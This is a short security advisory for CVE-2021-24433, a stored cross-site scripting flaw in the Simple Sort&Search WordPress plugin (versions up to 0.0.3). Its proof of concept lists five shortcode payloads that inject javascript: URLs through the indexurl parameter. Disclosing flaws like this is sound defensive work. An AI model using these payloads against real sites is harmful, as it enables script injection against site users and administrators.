Simple Sort&Search <= 0.0.3 – Ccontributor+ Stored XSS | CVE 2021-24433

Description

The plugin does not make sure that the indexurl parameter of the shortcodes "category_sims", "order_sims", "orderby_sims", "period_sims", and "tag_sims" use allowed URL protocols, which can lead to stored cross-site scripting by users with a role as low as Contributor

Proof of Concept

As a contributor, add one of the shortcode below to a post or page, then view it and change the state of the input/s generated (such as tick a checkbox, or select a different option etc) to trigger the XSS

[category_sims type="checkbox" indexurl="javascript:alert(origin)//"]
[order_sims indexurl="javascript:alert(origin)//"]
[orderby_sims indexurl="javascript:alert(origin)//"]
[period_sims indexurl="javascript:alert(origin)//"]
[tag_sims type="checkbox" indexurl="javascript:alert(origin)//"]